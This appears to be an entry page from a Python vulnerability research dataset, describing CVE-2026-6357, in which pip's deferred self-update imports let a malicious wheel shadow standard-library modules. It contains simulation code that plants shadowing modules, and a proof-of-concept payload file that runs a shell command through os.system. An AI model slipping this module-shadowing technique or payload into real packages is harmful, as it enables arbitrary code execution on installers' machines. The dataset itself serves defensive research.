VAITP Dataset

← Back to the dataset

CVE-2026-6357

pip's post-install update check may execute code from a malicious package.

  • CVSS 5.3
  • CWE-829
  • Design Defects
  • Local

pip prior to version 26.1 would run self-update check functionality after installing wheel files which required importing well-known Python modules names. These module imports were intentionally deferred to increase startup time of the pip CLI. The patch changes self-update functionality to run before wheels are installed to prevent newly-installed modules from being imported shortly after the installation of a wheel package. Users should still review package contents prior to installation.

CVSS base score
5.3
Published
2026-04-27
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Incorrect Algorithm
Category
Design Defects
Subcategory
Time-of-Check to Time-of-Use
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
pip
Fixed by upgrading
Yes

Solution

Upgrade pip to version 26.1 or later.

Vulnerable code sample

import sys
from pathlib import Path
import shutil

def _simulate_wheel_install():
    """Simulates pip installing a wheel file to a temporary directory."""
    install_dir = Path("./temp_site_packages_dir")
    install_dir.mkdir(exist_ok=True)
    
    # The malicious wheel contains a file named 'os.py' to shadow the standard library.
    malicious_code = 'print("[!] Malicious `os.py` from wheel was imported and executed.")'
    (install_dir / "os.py").write_text(malicious_code)
    
    # The new installation directory is added to Python's path.
    sys.path.insert(0, str(install_dir.resolve()))

def _simulate_post_install_update_check():
    """
    Simulates pip's self-update check which, in vulnerable versions, ran
    after the installation was complete and imported a common module name.
    """
    # This deferred import is the trigger. It now finds and executes the
    # malicious 'os.py' that was just placed into the path.
    import os

# --- Main execution simulating the vulnerable pip behavior ---
# The vulnerability lies in the order of these two operations.
try:
    # 1. The package is installed, placing a malicious module in the path.
    _simulate_wheel_install()
    
    # 2. The update check runs *after* installation, importing the now-hijacked module.
    _simulate_post_install_update_check()

finally:
    # Cleanup the simulation artifacts for a clean environment.
    install_dir = Path("./temp_site_packages_dir")
    if str(install_dir.resolve()) in sys.path:
        sys.path.remove(str(install_dir.resolve()))
    if install_dir.exists():
        shutil.rmtree(install_dir)

Patched code sample

import os
import sys
import importlib

def run_self_update_check():
    """
    Simulates pip's self-update check, which imports a common module.
    In the fixed version, this runs before any new packages are on the path.
    """
    print("1. Running self-update check...")
    try:
        # This import safely resolves to the standard library 'http' module.
        http_module = importlib.import_module("http")
        print(f"   -> Safely imported 'http' from: {http_module.__file__}")
    except Exception as e:
        print(f"   -> An error occurred: {e}")

def install_package(package_name):
    """
    Simulates the installation of a wheel that contains a malicious module
    shadowing a standard library name (e.g., 'http.py').
    """
    print(f"\n2. Installing package: {package_name}...")
    # Create a fake malicious module in the current directory.
    malicious_module_path = os.path.join(os.getcwd(), "http.py")
    with open(malicious_module_path, "w") as f:
        f.write('print("!!! Malicious http.py from package was executed !!!")\n')
    
    # Add the current directory to the Python path to simulate installation.
    sys.path.insert(0, os.getcwd())
    print("   -> Potentially malicious 'http.py' is now on the Python path.")

# This main block demonstrates the fixed logic in pip >= 26.1.
# The vulnerability was an order-of-operations issue, and the fix
# was to reorder the calls.
if __name__ == "__main__":
    print("--- Demonstrating Fixed Control Flow (CVE-2026-6357 fix) ---")
    
    try:
        # THE FIX: The self-update check is performed BEFORE the package
        # is installed, preventing the import of any trojan modules from
        # the package itself.
        run_self_update_check()
        
        # The installation happens only after the check is complete.
        install_package("malicious-package-1.0.0.whl")

        print("\nProcess finished. The self-update check ran safely before the")
        print("potentially malicious package was installed.")

    finally:
        # Cleanup the simulated environment
        if os.getcwd() in sys.path:
            sys.path.remove(os.getcwd())
        if os.path.exists("http.py"):
            os.remove("http.py")

Payload

# This payload would be saved as a file named, for example, 'socket.py'
# and included in the root of a malicious wheel package.
import os
import sys

try:
    if sys.platform == "win32":
        # On Windows, create a file in the user's temp directory
        fpath = os.path.join(os.environ["TEMP"], "pwned.txt")
        with open(fpath, "w") as f:
            f.write("CVE-2026-6357 exploited")
    else:
        # On Unix-like systems, run a common command like 'id' and pipe to a file
        os.system("id > /tmp/pwned")
except Exception:
    pass

Cite this entry

@misc{vaitp:cve20266357,
  title        = {{pip's post-install update check may execute code from a malicious package.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-6357},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-6357/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::